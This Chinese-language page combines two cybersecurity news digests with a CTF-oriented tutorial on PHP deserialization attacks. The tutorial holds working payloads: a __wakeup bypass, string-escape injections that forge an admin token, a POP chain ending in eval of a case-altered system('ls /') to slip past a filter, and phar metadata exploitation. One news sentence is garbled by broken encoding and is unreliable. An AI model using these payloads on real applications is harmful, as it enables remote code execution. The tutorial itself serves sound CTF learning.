网络安全日报 2023年01月30日
1、研究人员发现了一种基于Python的新型恶意软件
https://www.hackread.com/pyration-python-malware-windows/ 威胁分析公司Securonix的网络安全研究人员发现了一种名为PY#RATION的新恶意软件,攻击者可以从受影响的设备上窃取敏感文件并记录击键情况。该恶意软件通过传统的网络钓鱼机制传播,其中电子邮件包含一个受密码保护的ZIP存档。当它被解压缩时,会出现两个快捷图像文件,名称分别为front.jpg.lnk和back.jpg.lnk。当启动时,这些文件会显示不存在的驾照的正面和背面,这样恶意代码也会被执行,导致从互联网上下载两个新文件,这些文件的标题分别是front.txt和ba
2、新的Mimic勒索软件滥用Everything文件搜索工具
https://www.bleepingcomputer.com/news/security/new-mimic-ransomware-abuses-everything-windows-search-tool/ 安全研究人员发现了一种新的勒索软件,他们将其命名为Mimic,它利用Windows的“Everything”文件搜索工具的API来查找加密文件。研究人员于2022年6月发现了这种恶意软件,似乎主要针对英语和俄语的用户。Mimic中的一些代码与Conti勒索软件有相似之处,Conti勒索软件的来源于2022年3月由一名乌克兰研究人员泄露。Mimic勒索软件攻击开始于受害者收到一个可执
3、Trellix为6.2万个与Python漏洞相关联的开源项目打补丁
https://www.scmagazine.com/analysis/application-security/trellix-automates-patching-for-62000-open-source-projects-linked-to-a-15-year-old-python-bug Trellix研究团队表示,他们已经修补了近6.2万个开源项目,这些项目容易受到Python编程生态系统中存在15年的路径遍历漏洞的影响。去年年底,该团队在Python的tarfile模块中发现了CVE-2007-4559漏洞。它在2007年首次被报告给Python项目,但没有进行检查。从那时起,
4、黑客被指控窃取了几乎所有奥地利人的个人数据
https://securityaffairs.com/141439/cyber-crime/hacker-stole-personal-data-austrians.html 2022年11月底,阿姆斯特丹警方逮捕了一名来自阿尔米尔的25岁男子,他涉嫌窃取或交易了全球数千万人的个人数据。奥地利联邦刑事调查局于2020年5月发现该男子在一个网络犯罪论坛上提供了一个数据集,对该男子的活动展开了调查。这名男子提供了一个包含数百万个地址和个人数据的数据集,该数据集保存着该国广播接收设备(电视、收音机等)的档案。奥地利联邦刑事调查局购买了该数据集,并调查了资金流动和用于宣传被盗数据的论坛。奥地利警方
5、BlackCat勒索软件团伙窃取了一家炸药制造商的秘密数据
https://securityaffairs.com/141409/data-breach/blackcat-ransomware-solar-industries-india.html BlackCat勒索软件团伙将印度太阳能工业公司添加到其Tor泄露网站上公布的受害者名单中。该公司是全球公认的工业炸药制造商,提供完整的爆破解决方案,包括包装、散装炸药和起爆系统,以满足全球客户的需求。BlackCat勒索软件组织声称已经攻破了该公司的基础设施,并窃取了2TB的数据,包括与武器生产有关的秘密军事数据。数据泄露影响到公司的所有产品和机密文件。这些数据包括工程规格、图纸、许多武器的审计等。
6、Meta修补了Facebook中的一个双因素身份验证绕过漏洞
https://portswigger.net/daily-swig/facebook-two-factor-authentication-bypass-issue-patched Meta修补了Facebook中的一个漏洞,该漏洞可能允许攻击者绕过基于短信的双因素身份验证(2FA)。该漏洞利用了Instagram的限速问题,使攻击者能够暴力破解确认某人电话号码所需的验证码。Meta让用户可以选择将自己的电子邮件和电话号码添加到Instagram和Facebook的链接账户上,并通过电子邮件或短信发送的六位数字代码进行验证。然而,任何随机的六位数字都可以输入,并使用web代理(如Burp S
7、Yandex否认黑客入侵并将源代码泄露归咎于前员工
https://gbhackers.com/yandex-data-leak/ 俄罗斯最大的IT公司Yandex(俗称俄罗斯谷歌)的源代码被泄露。在一个著名的黑客网站上,据称被俄罗斯科技巨头Yandex的一名前雇员窃取的Yandex源代码库被以种子文件的形式泄露。近日,泄密者分享了一个含有44.7 GB文件的磁体链接,据称来自“Yandex git sources”,是在2022年7月从该公司获取的。据说这些代码存储库包含公司的所有源代码。此外,Yandex强调该公司并未被入侵,因为泄露的文件仅包含来自内部存储库的代码片段,但内容与Yandex服务中使用的存储库的当前版本不同。
8、黑客利用SwiftSlicer数据擦除恶意软件破坏Windows域
https://www.bleepingcomputer.com/news/security/hackers-use-new-swiftslicer-wiper-to-destroy-windows-domains/ 安全研究人员发现了一种新的数据擦除恶意软件SwiftSlicer,旨在覆盖Windows操作系统使用的重要文件。这种新的恶意软件是在最近一次针对乌克兰目标的网络攻击中发现的,被认为是Sandworm黑客组织所为,这是一个为俄罗斯总参谋部主要情报局(GRU)工作的黑客组织。研究人员表示,Sandworm使用活动目录组策略启动了SwiftSlicer,它允许域管理员在Windows
9、FBI成功接管了Hive勒索软件团伙的基础设施
https://gbhackers.com/fbi-hacks-back-hive-ransomware/ 在FBI于2022年7月渗透Hive勒索软件团伙的基础设施之后,FBI成功接管了Hive勒索软件团伙在Tor网络上用于支付和数据泄露的站点。2022年7月,由美国司法部和欧洲刑警组织领导的国际执法行动秘密渗透了Hive勒索软件团伙的基础设施。在宣布之前,该行动已经被监视了6个月。通过这次行动,执法机构能够洞察计划中的攻击,并向潜在目标发出警告,同时他们还获得并向受害者提供了解密密钥。这阻止了大约1.3亿美元或相当于1.2亿欧元的赎金支付。在2022年7月Hive的网络被渗透后,FBI已
10、ISC发布补丁修复DNS软件套件BIND中的多个漏洞
https://securityaffairs.com/141465/security/isc-fixed-bind-flaws.html BIND是一套用于与互联网系统联盟(ISC)维护的域名系统(DNS)交互的软件。ISC发布了安全补丁,以解决DNS软件套件BIND中的多个高严重程度的拒绝服务漏洞。攻击者可以利用该漏洞远程导致BIND守护进程崩溃或占用可用内存。其中一个漏洞是CVE-2022-3094 (CVSS评分7.5),该漏洞是因为发送大量动态DNS更新可能会导致“named”守护进程分配大量内存,然后“named”可能会由于缺乏可用内存而退出。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月29日
1、攻击者正在分发一种名为Gigabud的安卓恶意软件
https://cyware.com/news/malicious-apps-masquerade-as-government-agencies-to-distribute-gigabud-rat-c65f2bb4 攻击者正在分发一种名为Gigabud的新的安卓恶意软件,冒充来自泰国、秘鲁和菲律宾的政府机构、金融机构和其他组织。研究人员透露,一旦用户安装了恶意应用程序,它就会显示一个看似合法的登录屏幕,提示用户输入手机号码和密码。Gigabud利用服务器端验证过程来确保注册时输入的手机号码是合法的。在登录屏幕上,恶意软件向受害者发送虚假贷款合同,并通知他们确认信息。该恶意软件直到最后阶段才会
2、巴基斯坦当局正在调查全国停电是否由网络攻击引起
https://therecord.media/pakistani-authorities-investigating-if-cyberattack-caused-nationwide-blackout/ 巴基斯坦当局正在调查导致数百万人断电的全国停电是否是由网络攻击引起的。该国能源部长在新闻发布会上告诉记者,这起事件“极有可能”是由黑客造成的。对能源网络的网络攻击很少见,尽管自2014年以来,在俄罗斯对乌克兰发动攻击的背景下,有几起针对乌克兰的攻击。能源部长告诉记者,巴基斯坦各地的电力已在24小时内完全恢复,总理Shehbaz Sharif成立了一个委员会来调查导致停电的原因。
3、VMware修复了vRealize日志分析工具中的漏洞
https://www.bleepingcomputer.com/news/security/vmware-fixes-critical-security-bugs-in-vrealize-log-analysis-tool/ VMware周二发布了安全补丁,以解决vRealize Log Insight漏洞,这些漏洞可能使攻击者在未打补丁的设备上远程执行命令。vRealize Log Insight是一个日志分析和管理工具,可以帮助分析VMware环境中的基础设施和应用程序日志。修补的第一个严重漏洞被追踪为CVE-2022-31703,被描述为一个目录遍历漏洞,攻击者可以利用该漏洞将文件注
4、富士通的研究表明量子计算机尚未对加密构成威胁
https://www.theregister.com/2023/01/24/fujitsu_quantum_encryption/ 富士通公司进行的研究表明,没有必要对量子计算机能够解码加密数据感到恐慌,这在将来也不太可能发生。富士通表示,它使用其39量子比特量子模拟器硬件进行了试验,以评估量子计算机使用Shor算法破解RSA密码加密数据的难度。研究人员估计,要破解RSA,需要一台具有大约10000个量子比特和2.23万亿量子门的容错量子计算机,而量子产业要达到这一成就还有很长的路要走。富士通表示,其研究人员还估计,这样一台容错量子计算机需要在这个问题上工作大约104天,才能成功破解RSA
5、CISA详细介绍了K-12教育系统面临的网络安全风险
https://www.securityweek.com/cisa-provides-resources-for-securing-k-12-education-system/ 美国网络安全和基础设施安全局(CISA)本周发布了一份报告,详细介绍了K-12教育系统面临的网络安全风险,以及如何确保网络安全的建议。在过去的四年里,已经发生了数千起涉及K-12机构的网络事件,攻击者以学校计算机系统为目标,部署勒索软件,使系统无法使用,并窃取学生和员工的敏感信息,包括财务和医疗信息,以及员工的社会安全号码。与K-12教育社区相关者团体的讨论表明,他们中的大多数人没有时间或资源来保护信息系统和敏感的学
6、GoTo称黑客在去年11月的网络攻击中窃取了客户的备份
https://therecord.media/goto-says-hackers-stole-encrypted-backups-during-november-cyberattack/ 价值数十亿美元的软件即服务提供商GoTo表示,黑客在去年11月的一次网络攻击中窃取了客户拥有的备份的加密密钥。GoTo首席执行官斯里尼瓦桑在一份声明中表示,11月的网络攻击涉及第三方云存储服务泄露的数据,这些数据与他们的几个产品有关。斯里尼瓦桑说:“受影响的信息因产品而异,可能包括账户用户名、散列密码、部分多因素认证(MFA)设置,以及一些产品设置和许可信息。”斯里尼瓦桑解释说,该公司目前正在直接联系受影
7、攻击者使用合法的RMM软件对美国联邦机构进行攻击
https://thehackernews.com/2023/01/us-federal-agencies-fall-victim-to.html 美国至少有两家联邦机构成为“大规模网络攻击”的受害者,攻击者使用合法的远程监控和管理(RMM)软件来实施网鲇闫帧C拦绨踩直硎荆骸熬咛謇此担绶缸锓肿臃⑺土说鲇愕缱佑始贾孪略睾戏ǖ腞MM软件,如ScreenConnect和AnyDesk,这些软件被用于退款骗局,从受害者的银行账户中窃取资金。”这些攻击发生在2022年6月中旬和9月中旬,具有财务动机,尽管威胁行为者可以将未经授权的访问权限武器化,用于开展广泛的活动,包括将该访问权限出售
8、密码保险库供应商Bitwarden回应加密设计缺陷的批评
https://portswigger.net/daily-swig/bitwarden-responds-to-encryption-design-flaw-criticism 密码库供应商Bitwarden通过增强机制的默认安全配置,回应了对其用于保护用户秘密加密密钥的加密方案的新一轮批评。问题集中在用于计算用户密码库的解密密钥的PBKDF2哈希迭代次数上。在这种情况下,OAWSP建议使用PBKDF2算法和随机盐、SHA-256和600000次迭代(这个数字比以前推荐的31000次增加了)。Bitwarden表示,其数据经过200001次迭代保护,客户端为100001次迭代,服务器端为1
9、谷歌通知用户Chrome浏览器中的6个漏洞已被修复
https://www.securityweek.com/security-update-for-chrome-109-patches-6-vulnerabilities/ 谷歌通知用户,Chrome浏览器中的6个安全漏洞已被修复,其中包括外部研究人员报告的4个。其中两个是影响WebTransport和WebRTC组件的高度严重的释放后使用漏洞。这些漏洞被跟踪为CVE-2023-0471和CVE-2023-0472。影响Chrome的释放后使用漏洞通常可以被用于远程代码执行和沙箱逃逸,但在许多情况下,它们需要与其他漏洞联系在一起。最新的Chrome更新还修复了一个中等严重程度的类型混淆漏洞,
10、研究人员针对Windows CryptoAPI漏洞发布了PoC
https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-windows-cryptoapi-spoofing-bug/ 研究人员已经发布了一个概念验证利用代码(PoC),用于允许MD5碰撞证书欺骗的Windows CryptoAPI漏洞。这一漏洞被追踪为CVE-2022-34689,在2022年8月发布的安全更新中得到了解决,但微软直到10月才公开了这一漏洞,当时该警告首次发布。微软解释说:“攻击者可以操纵现有的公共x.509证书来欺骗他们的身份,并作为目标证书执行身份验证或代码签名等操作。”未
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。
php反序列化简单理解
首先我们需要理解什么是序列化,什么是反序列化?
PHP序列化:serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
而PHP反序列化:unserialize()
反序列化是将字符串转换成变量或对象的过程
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化
说这么多不如直接一点测试一下
php序列化的字母标识
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL
测试一下
<?php
class TEST{
public $test1="11";
private $test2="22";
protected $test3="33";
public function test4()
{
echo $this->test1;
}
}
$a=new TEST();
echo serialize($a);
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
O代表类,然后后面4代表类名长度,接着双引号内是类名
然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}
protected 和private其实是有不可打印字符的,所以这里附上截图
从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写
有时候做题时为了防止传参中有啥意外,一般就会urlencode一下
什么是魔术方法?
做php反序列化的题总会遇到魔术方法
其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作
举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数
<?php
class A{
public $a="这里是__construct";
public function __construct()
{
echo $this->a;
}
public function __destruct()
{
echo $this->a="这里是__destruct";
}
}
$a=new A();
//输出这里是construct这里是destruct
后边的题中也会给一些测试魔术方法的例子
想买给出魔术方法触发的情况,这对解题有很大帮助
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。
简单的反序列化题
题目来自[SWPUCTF 2021 新生赛]ez_unserialize
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag
php反序列化是可以控制类方法的属性但不能改类方法的代码
于是我们直接更改就行,
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
echo urlencode(serialize($a));
?>
然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。
__wakeup绕过
这个其实是个CVE,CVE-2016-7124
影响版本php5<5.6.25,php7<7.010
简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
而魔术方法__wakeup执行unserialize()时,先会调用这个函数
写个代码本地测试一下
<?php
class A{
public $a;
public function __construct()
{
$this->a="触发__construct";
}
public function __wakeup()
{
$this->a="触发__wakeup";
}
public function __destruct()
{
echo $this->a;
}
}
$a=new A();
echo serialize($a);
O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下
反序列化一下,输出触发__wakeup
O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2
触发__construct,绕过了wakeup
[极客大挑战 2019]PHP __wakeup()绕过
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;
这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看
//$a=new Name('admin','100');
//echo urlencode(serialize($a));
//echo serialize($a);
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";
var_dump(unserialize(urldecode($b)));
那么修改对象个数为大于2
O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
得到flag
POC
<?php
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin','100');
echo urlencode(serialize($a));
//echo serialize($a);
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>
反序列化逃逸问题
逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞
所以会有两种情况,一种是由长变短,一种是由短变长
由长变短
自己随手写个题测试下
<?php
highlight_file(__FILE__);
class A
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->a=$_GET['a'];
$this->b="noflag";
$this->c=$_GET['c'];
}
public function check()
{
if ($this->b==="123")
{
echo "flag{123dddd}";
}
else if ($this->a==="test")
{
echo "give you flag";
}
else
{
echo "no flag";
}
}
public function __destruct()
{
$this->check();
}
}
$a=new A();
$b=serialize($a);
$c=str_replace("aa","b",$b);
unserialize($c);
这里本地写一个测试简单利用下,学会这个逃逸思路即可
$b=serialize($a);
echo $b;
$c=str_replace("aa","b",$b);
echo($c);
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,
$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉
开始构造
然后计算要吞噬掉多少位
print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))
print(36*'aa')
//35
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa
a=36个aa,c=;s:1:"b";s:3:"123
这样构造出来为
O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))
刚好为72个,成功反序列化,得到flag
由短变长
题目来自ctfshowWEB262
index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(FILE);
从题目注释里可以找到message.php
message.php源码
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
很明显,要想得到flag要把token值更改为admin
但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下
<?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace('fuck','loveU',serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了
因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位
那么需要27个fuck就行
payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路
POP链构造
做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下
[SWPUCTF 2021 新生赛]pop
题目源码
<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
POP链入手,先找关键代码,然后推断
需要admin为w44m,passwd为08067 才能得到flag
if($this->admin === 'w44m' && $this->passwd ==='08067'){
echo $flag;
发现可以利用$this->w00m->{$this->w22m}();
这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了
在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法
前面魔术方法提到
__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,
链子构造为 w22m::__destruct->w33m::toString->w44m::getflag
poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w0
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
查看了一下提示发现什么也没有
if(isset($_GET['ser'])){@unserialize($_GET['ser']);
这是头部
这是尾部
public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);
}
从__invoke()这里开始触发
__invoke() 当脚本尝试将对象调用为函数时触发
return $bb()而这里有一个函数调用
那么$bb是class Nisa的对象就会调用 __invoke
触发$bb要调用 __toString()
而__toString()是
当一个对象被当作一个字符串被调用。
找类似echo 这种代码,而这里有个strtolower
strtolower是在set方法里的
__set触发
在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
在four类的中有private $fun='abc';
Ilovetxw类中的__call方法访问了fun这个变量
function __call($from,$val){ $this->fun=$val[0]; }
而__call方法
对不存在的方法或者不可访问的方法进行调用就自动调用
TianXiWei类中的wakeup会触发call
$this->ext->nisa($this->x); nisa()这个方法并不存在
这里详细说下
<?php
class nisa
{
public $b="";
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class test
{
public $a ="";
public function __call($a,$b)
{
echo "call";
}
}
$a=new TianXiWei();
$a->ext=new test();
//echo urlencode(serialize($a));
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果
链子很清晰了
TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke
POC
<?php
class NISA
{
public $fun = "";
public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$a=new TianXiWei();//从这里下手触发__wakeup
$a->ext=new Ilovetxw();//触发__call
$a->ext->huang=new four();//触发__set
$a->ext->huang->a=new Ilovetxw();//触发__tosrting
$a->ext->huang->a->su=new NISA();//触发__invoke
echo urlencode(serialize($a));
相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造
phar反序列化
单的理解phar反序列化
phar是什么?
phar是php提供的一类文件的后缀名称,也是php伪协议的一种。
phar可以干什么?
将多个php文件合并成一个独立的压缩包,相对独立
不用解压到硬盘就可以运行php脚本
支持web服务器和命令行运行
注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
phar文件的的结构
一个phar文件通常由四部分组成,
1. a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents:被压缩文件的内容。这里不是重点,内容不影响
4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
<?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动
生成一个phar.phar文件
拉进010分析
可以清楚看到一个标识符,一个序列化,一个文件名
有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下
is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file
<?php
highlight_file(__FILE__);
class Test {//自定义
public $name='phpinfo();';
}
$phar=new phar('rce.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o=new Test();
$phar->setMetadata($o);
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这里用file_get_contents测试下
<?php class test{ public $name=''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?>
漏洞利用条件
phar文件要能够上传到https://cloud.tencent.com/product/cvm?from=10680端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
姿势
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
